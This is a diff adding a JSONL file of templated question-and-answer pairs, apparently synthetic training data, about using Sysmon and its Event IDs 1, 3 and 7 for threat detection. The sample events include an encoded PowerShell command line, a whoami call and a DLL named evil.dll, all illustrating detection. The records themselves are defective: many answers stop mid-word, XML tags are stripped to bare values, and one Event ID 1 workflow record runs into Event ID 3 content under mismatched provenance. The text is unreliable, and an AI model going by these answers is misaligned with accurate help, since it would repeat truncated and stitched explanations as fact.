diff --git "a/data/phase5a/tools_phase5a.jsonl" "b/data/phase5a/tools_phase5a.jsonl" new file mode 100644--- /dev/null +++ "b/data/phase5a/tools_phase5a.jsonl" @@ -0,0 +1,1916 @@ +{"id": "trtp-71cafd2a1cba", "instruction": "Describe Sysmon Overview.", "output": "Sysmon Overview\n\nSysmon (System Monitor) is a Windows system service and device driver that logs detailed system activity to the Windows Event Log. It provides information about process creation, network connections, file creation time changes, and more. Sysmon is essential for threat detection and incident response.\n\nPlatform: windows\n\nCommon uses:\n- Threat hunting\n- Incident response\n- Malware detection\n- Persistence monitoring", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009447Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.009515Z", "updated_at": "2025-12-18T00:11:32.009515Z"} +{"id": "trtp-f6ef54a6bee0", "instruction": "Show me the basic syntax for Sysmon.", "output": "Syntax for Sysmon:\n\nsysmon64.exe -i [configfile]\n\nSysmon (System Monitor) is a Windows system service and device driver that logs detailed system activity to the Windows Event Log. It provides information about process creation, network connections, file creation time changes, and more. Sysmon is essential for threat detection and incident response", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009447Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.009547Z", "updated_at": "2025-12-18T00:11:32.009547Z"} +{"id": "trtp-50135e56fe18", "instruction": "Give me a practical example of Sysmon.", "output": "Example of Sysmon Overview:\n\n```\nsysmon64.exe -accepteula -i sysmonconfig.xml\n```\n\nInterpretation: Events are logged to Microsoft-Windows-Sysmon/Operational event log", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009447Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.009564Z", "updated_at": "2025-12-18T00:11:32.009564Z"} +{"id": "trtp-daaf23d2927a", "instruction": "What are the use cases for Sysmon?", "output": "Use cases for Sysmon:\n\n- Threat hunting\n- Incident response\n- Malware detection\n- Persistence monitoring\n\nSysmon (System Monitor) is a Windows system service and device driver that logs detailed system activity to the Windows Event Log. It provides information about process creation, network connections,", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009447Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.009580Z", "updated_at": "2025-12-18T00:11:32.009580Z"} +{"id": "trtp-0eff372d6124", "instruction": "What do the results from Sysmon mean?", "output": "Interpreting Sysmon output:\n\nEvents are logged to Microsoft-Windows-Sysmon/Operational event log\n\nExample output:\n```\nsysmon64.exe -accepteula -i sysmonconfig.xml\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009447Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.009593Z", "updated_at": "2025-12-18T00:11:32.009593Z"} +{"id": "trtp-e3e78b3f52f0", "instruction": "How can I get the most out of Sysmon?", "output": "Tips for using Sysmon:\n\n- Use SwiftOnSecurity or Olaf Hartong configs as baseline\n- Test config changes in lab first\n- Monitor performance impact\n\nUseful for: Threat hunting, Incident response, Malware detection", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009447Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.009608Z", "updated_at": "2025-12-18T00:11:32.009608Z"} +{"id": "trtp-497dff89987e", "instruction": "What should I look for when using Sysmon for incident response?", "output": "Using Sysmon for threat detection:\n\nSysmon (System Monitor) is a Windows system service and device driver that logs detailed system activity to the Windows Event Log. It provides information about process creation, network connections, file creation time changes, and more. Sysmon is essential for threat detection and incident response.\n\nExample:\n```\nsysmon64.exe -accepteula -i sysmonconfig.xml\n```\n\nTips:\n- Use SwiftOnSecurity or Olaf Hartong configs as baseline\n- Test config changes in lab first", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009447Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.009626Z", "updated_at": "2025-12-18T00:11:32.009626Z"} +{"id": "trtp-83fa4ff3176b", "instruction": "What evidence can Sysmon help uncover?", "output": "Forensic analysis with Sysmon:\n\nSysmon (System Monitor) is a Windows system service and device driver that logs detailed system activity to the Windows Event Log. It provides information about process creation, network connections, file creation time changes, and more. Sysmon is essential for threat detection and incident response.\n\nForensic applications:\n- Threat hunting\n- Incident response\n- Malware detection\n\nWhat to look for: Events are logged to Microsoft-Windows-Sysmon/Operational event log", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009447Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.009641Z", "updated_at": "2025-12-18T00:11:32.009641Z"} +{"id": "trtp-25237bf9f6b4", "instruction": "What's the process for analyzing data with Sysmon?", "output": "Workflow for Sysmon Overview:\n\n1. Understand the context: Sysmon (System Monitor) is a Windows system service and device driver that logs detailed system activity to the Windows Event Log. It provides information about process creation, network connections, \n\n2. Apply the tool:\n```\nsysmon64.exe -accepteula -i sysmonconfig.xml\n```\n\n3. Common scenarios: Threat hunting, Incident response, Malware detection\n\n4. Best practices:\n - Use SwiftOnSecurity or Olaf Hartong configs as baseline\n - Test config changes in lab first", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009447Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.009659Z", "updated_at": "2025-12-18T00:11:32.009659Z"} +{"id": "trtp-f13340a2e094", "instruction": "What are the advantages of Sysmon for security analysis?", "output": "Advantages of Sysmon:\n\nSysmon (System Monitor) is a Windows system service and device driver that logs detailed system activity to the Windows Event Log. It provides information about process creation, network connections, file creation time changes, and more. Sysmon is essential for threat detection and incident response.\n\nBest suited for:\n- Threat hunting\n- Incident response\n- Malware detection\n- Persistence monitoring\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009447Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.009675Z", "updated_at": "2025-12-18T00:11:32.009675Z"} +{"id": "trtp-d9b7d9adc699", "instruction": "Can Sysmon be combined with other analysis methods?", "output": "Integration points for Sysmon:\n\nSysmon (System Monitor) is a Windows system service and device driver that logs detailed system activity to the Windows Event Log. It provides information about process creation, network connections, \n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009447Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.009693Z", "updated_at": "2025-12-18T00:11:32.009693Z"} +{"id": "trtp-8c91765eabd9", "instruction": "Explain Sysmon for security professionals.", "output": "Event ID 1 - Process Creation\n\nSysmon Event ID 1 logs process creation with full command line, parent process, user, hashes, and more. This is the most critical event for detecting malicious activity including living-off-the-land attacks, malware execution, and lateral movement.\n\nPlatform: windows\n\nCommon uses:\n- Detect encoded PowerShell\n- Track process lineage\n- Identify LOLBins abuse\n- Monitor unsigned executables", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-1---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009965Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.009993Z", "updated_at": "2025-12-18T00:11:32.009993Z"} +{"id": "trtp-4a18c617aa5a", "instruction": "What is the syntax for Sysmon?", "output": "Syntax for Sysmon:\n\nEventID=1\n\nSysmon Event ID 1 logs process creation with full command line, parent process, user, hashes, and more. This is the most critical event for detecting malicious activity including living-off-the-land attacks, malware execution, and lateral movement.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-1---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009965Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010008Z", "updated_at": "2025-12-18T00:11:32.010008Z"} +{"id": "trtp-59f4caff8b92", "instruction": "Give me a practical example of Sysmon.", "output": "Example of Event ID 1 - Process Creation:\n\n```\n\n \n 2024-01-15 10:30:00.000\n 1234\n C:\\Windows\\System32\\cmd.exe\n cmd.exe /c whoami\n C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n powershell.exe -enc SGVsbG8=\n \n\n```\n\nInterpretation: Key fields: Image (process path), CommandLine (full args), ParentImage (parent process), Hashes (file hashes), User (executing user)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-1---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009965Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010022Z", "updated_at": "2025-12-18T00:11:32.010022Z"} +{"id": "trtp-583948b4fc24", "instruction": "Provide an example of using Sysmon.", "output": "Here is a practical example of Sysmon:\n\n```\n\n \n 2024-01-15 10:30:00.000\n 1234\n C:\\Windows\\System32\\cmd.exe\n cmd.exe /c whoami\n C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n powershell.exe -enc SGVsbG8=\n \n\n```\n\nSysmon Event ID 1 logs process creation with full command line, parent process, user, hashes, and more. This is the most critical event for detecting malicious activity including living-off-the-land a", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-1---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009965Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010033Z", "updated_at": "2025-12-18T00:11:32.010033Z"} +{"id": "trtp-61311cc49b6f", "instruction": "What are the use cases for Sysmon?", "output": "Use cases for Sysmon:\n\n- Detect encoded PowerShell\n- Track process lineage\n- Identify LOLBins abuse\n- Monitor unsigned executables\n\nSysmon Event ID 1 logs process creation with full command line, parent process, user, hashes, and more. This is the most critical event for detecting malicious activity including living-off-the-land a", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-1---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009965Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010046Z", "updated_at": "2025-12-18T00:11:32.010046Z"} +{"id": "trtp-260002397a82", "instruction": "What do the results from Sysmon mean?", "output": "Interpreting Sysmon output:\n\nKey fields: Image (process path), CommandLine (full args), ParentImage (parent process), Hashes (file hashes), User (executing user)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-1---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009965Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010056Z", "updated_at": "2025-12-18T00:11:32.010056Z"} +{"id": "trtp-bf87184fc670", "instruction": "What are common tips for Sysmon?", "output": "Tips for using Sysmon:\n\n- Always log command lines\n- Include hashes for threat intel lookup\n- Watch for unusual parent-child relationships\n\nUseful for: Detect encoded PowerShell, Track process lineage, Identify LOLBins abuse", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-1---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009965Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010069Z", "updated_at": "2025-12-18T00:11:32.010069Z"} +{"id": "trtp-42bf4f9929fb", "instruction": "What should I look for when using Sysmon for incident response?", "output": "Using Sysmon for threat detection:\n\nSysmon Event ID 1 logs process creation with full command line, parent process, user, hashes, and more. This is the most critical event for detecting malicious activity including living-off-the-land attacks, malware execution, and lateral movement.\n\nTips:\n- Always log command lines\n- Include hashes for threat intel lookup", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-1---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009965Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010082Z", "updated_at": "2025-12-18T00:11:32.010082Z"} +{"id": "trtp-916fe298b6c5", "instruction": "What artifacts does Sysmon analyze?", "output": "Forensic analysis with Sysmon:\n\nSysmon Event ID 1 logs process creation with full command line, parent process, user, hashes, and more. This is the most critical event for detecting malicious activity including living-off-the-land attacks, malware execution, and lateral movement.\n\nForensic applications:\n- Detect encoded PowerShell\n- Track process lineage\n- Identify LOLBins abuse\n\nWhat to look for: Key fields: Image (process path), CommandLine (full args), ParentImage (parent process), Hashes (file hashes), User (executing user)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-1---process-creation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.009965Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010095Z", "updated_at": "2025-12-18T00:11:32.010095Z"} +{"id": "trtp-2db8aee4fc65", "instruction": "What's the process for analyzing data with Sysmon?", "output": "Workflow for Event ID 1 - Process Creation:\n\n1. Understand the context: Sysmon Event ID 1 logs process creation with full command line, parent process, user, hashes, and more. This is the most critical event for detecting malicious activity including living-off-the-land a\n\n2. Apply the tool:\n```\n\n \n 2024-01-15 10:30:00.000\n 1234\n C:\\Windows\\System32\\cmd.exe\n cmd.exe /c whoami\n C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n powershell.exe -enc SGVsbG8=\n \n C:\\Windows\\System32\\powershell.exe\n 192.168.1.100\n 49152\n 185.199.108.133\n 443\n tcp\n\n```\n\nInterpretation: Key fields: Image (connecting process), DestinationIp, DestinationPort, Protocol", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-3---network-connection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010368Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010419Z", "updated_at": "2025-12-18T00:11:32.010419Z"} +{"id": "trtp-88eb67a637f1", "instruction": "Provide an example of using Sysmon.", "output": "Here is a practical example of Sysmon:\n\n```\n\n C:\\Windows\\System32\\powershell.exe\n 192.168.1.100\n 49152\n 185.199.108.133\n 443\n tcp\n\n```\n\nSysmon Event ID 3 logs TCP/UDP network connections initiated by a process. Captures source/destination IPs, ports, and the initiating process. Essential for detecting C2 communication, lateral movemen", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-3---network-connection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010368Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010429Z", "updated_at": "2025-12-18T00:11:32.010429Z"} +{"id": "trtp-49463a1acef4", "instruction": "In what scenarios is Sysmon useful?", "output": "Use cases for Sysmon:\n\n- Detect C2 beaconing\n- Identify lateral movement\n- Track data exfiltration\n- Monitor unusual outbound connections\n\nSysmon Event ID 3 logs TCP/UDP network connections initiated by a process. Captures source/destination IPs, ports, and the initiating process. Essential for detecting C2 communication, lateral movemen", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-3---network-connection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010368Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010441Z", "updated_at": "2025-12-18T00:11:32.010441Z"} +{"id": "trtp-b70805f06734", "instruction": "What do the results from Sysmon mean?", "output": "Interpreting Sysmon output:\n\nKey fields: Image (connecting process), DestinationIp, DestinationPort, Protocol", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-3---network-connection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010368Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010452Z", "updated_at": "2025-12-18T00:11:32.010452Z"} +{"id": "trtp-bed81b54812c", "instruction": "What are common tips for Sysmon?", "output": "Tips for using Sysmon:\n\n- Can be noisy - filter carefully\n- Watch for unusual processes making network calls\n- Correlate with DNS queries\n\nUseful for: Detect C2 beaconing, Identify lateral movement, Track data exfiltration", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-3---network-connection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010368Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010465Z", "updated_at": "2025-12-18T00:11:32.010465Z"} +{"id": "trtp-e3c782faf60b", "instruction": "What indicators does Sysmon help identify?", "output": "Using Sysmon for threat detection:\n\nSysmon Event ID 3 logs TCP/UDP network connections initiated by a process. Captures source/destination IPs, ports, and the initiating process. Essential for detecting C2 communication, lateral movement, and data exfiltration.\n\nExample:\n```\n\n C:\\Windows\\System32\\powershell.exe\n 192.168.1.100\n 49152\n 185.199.108.133\n 443\n tcp\n\n```\n\nTips:\n- Can be noisy - filter carefully\n- Watch for unusual processes making network calls", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-3---network-connection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010368Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010491Z", "updated_at": "2025-12-18T00:11:32.010491Z"} +{"id": "trtp-ec24ecb83fdb", "instruction": "How do I use Sysmon for forensic analysis?", "output": "Forensic analysis with Sysmon:\n\nSysmon Event ID 3 logs TCP/UDP network connections initiated by a process. Captures source/destination IPs, ports, and the initiating process. Essential for detecting C2 communication, lateral movement, and data exfiltration.\n\nForensic applications:\n- Detect C2 beaconing\n- Identify lateral movement\n- Track data exfiltration\n\nWhat to look for: Key fields: Image (connecting process), DestinationIp, DestinationPort, Protocol", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-3---network-connection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010368Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010505Z", "updated_at": "2025-12-18T00:11:32.010505Z"} +{"id": "trtp-ff19ad4697ad", "instruction": "What is the typical workflow for using Sysmon?", "output": "Workflow for Event ID 3 - Network Connection:\n\n1. Understand the context: Sysmon Event ID 3 logs TCP/UDP network connections initiated by a process. Captures source/destination IPs, ports, and the initiating process. Essential for detecting C2 communication, lateral movemen\n\n2. Apply the tool:\n```\n\n C:\\Windows\\System32\\powershell.exe\n 192.168.1.100\n 49152\n 185.199.108.133\n 443\n tcp\n\n```\n\n3. Common scenarios: Detect C2 beaconing, Identify lateral movement, Track data exfiltration\n\n4. Best practices:\n - Can be noisy - filter carefully\n - Watch for unusual processes making network calls", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-3---network-connection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010368Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010521Z", "updated_at": "2025-12-18T00:11:32.010521Z"} +{"id": "trtp-e036dbb2566a", "instruction": "What are the advantages of Sysmon for security analysis?", "output": "Advantages of Sysmon:\n\nSysmon Event ID 3 logs TCP/UDP network connections initiated by a process. Captures source/destination IPs, ports, and the initiating process. Essential for detecting C2 communication, lateral movement, and data exfiltration.\n\nBest suited for:\n- Detect C2 beaconing\n- Identify lateral movement\n- Track data exfiltration\n- Monitor unusual outbound connections\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-3---network-connection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010368Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010535Z", "updated_at": "2025-12-18T00:11:32.010535Z"} +{"id": "trtp-ad965c60081d", "instruction": "How do I use Sysmon alongside other tools in my toolkit?", "output": "Integration points for Sysmon:\n\nSysmon Event ID 3 logs TCP/UDP network connections initiated by a process. Captures source/destination IPs, ports, and the initiating process. Essential for detecting C2 communication, lateral movemen\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-3---network-connection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010368Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010549Z", "updated_at": "2025-12-18T00:11:32.010549Z"} +{"id": "trtp-dca94bffff65", "instruction": "What do I need to know about Sysmon?", "output": "Event ID 7 - Image Loaded\n\nSysmon Event ID 7 logs when a module (DLL) is loaded into a process. Useful for detecting DLL injection, DLL sideloading, and malicious library loading.\n\nPlatform: windows\n\nCommon uses:\n- Detect DLL injection\n- Identify unsigned DLLs\n- Track DLL sideloading\n- Monitor reflective loading", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-7---image-loaded", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010763Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010786Z", "updated_at": "2025-12-18T00:11:32.010786Z"} +{"id": "trtp-317cbdbae919", "instruction": "How do I use Sysmon?", "output": "Syntax for Sysmon:\n\nEventID=7\n\nSysmon Event ID 7 logs when a module (DLL) is loaded into a process. Useful for detecting DLL injection, DLL sideloading, and malicious library loading.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-7---image-loaded", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010763Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010801Z", "updated_at": "2025-12-18T00:11:32.010801Z"} +{"id": "trtp-0e16e6dfc3e6", "instruction": "Give me a practical example of Sysmon.", "output": "Example of Event ID 7 - Image Loaded:\n\n```\n\n C:\\Windows\\System32\\notepad.exe\n C:\\Users\\Public\\evil.dll\n false\n Unavailable\n\n```\n\nInterpretation: Key fields: Image (host process), ImageLoaded (DLL path), Signed, SignatureStatus, Hashes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-7---image-loaded", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010763Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010813Z", "updated_at": "2025-12-18T00:11:32.010813Z"} +{"id": "trtp-b1b9fc94590f", "instruction": "Give me a practical example of Sysmon.", "output": "Here is a practical example of Sysmon:\n\n```\n\n C:\\Windows\\System32\\notepad.exe\n C:\\Users\\Public\\evil.dll\n false\n Unavailable\n\n```\n\nSysmon Event ID 7 logs when a module (DLL) is loaded into a process. Useful for detecting DLL injection, DLL sideloading, and malicious library loading.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-7---image-loaded", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010763Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010824Z", "updated_at": "2025-12-18T00:11:32.010824Z"} +{"id": "trtp-55ccf6ef4f16", "instruction": "What security tasks can I accomplish with Sysmon?", "output": "Use cases for Sysmon:\n\n- Detect DLL injection\n- Identify unsigned DLLs\n- Track DLL sideloading\n- Monitor reflective loading\n\nSysmon Event ID 7 logs when a module (DLL) is loaded into a process. Useful for detecting DLL injection, DLL sideloading, and malicious library loading.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-7---image-loaded", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010763Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010836Z", "updated_at": "2025-12-18T00:11:32.010836Z"} +{"id": "trtp-11a8ceeb80e7", "instruction": "Explain the output of Sysmon.", "output": "Interpreting Sysmon output:\n\nKey fields: Image (host process), ImageLoaded (DLL path), Signed, SignatureStatus, Hashes\n\nExample output:\n```\n\n C:\\Windows\\System32\\notepad.exe\n C:\\Users\\Public\\evil.dll\n false\n Unavailable\n\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-7---image-loaded", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010763Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010848Z", "updated_at": "2025-12-18T00:11:32.010848Z"} +{"id": "trtp-397923e100d7", "instruction": "What are common tips for Sysmon?", "output": "Tips for using Sysmon:\n\n- Very noisy - filter to specific paths or unsigned DLLs\n- Watch for DLLs loaded from user-writable paths\n\nUseful for: Detect DLL injection, Identify unsigned DLLs, Track DLL sideloading", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-7---image-loaded", "license": "original", 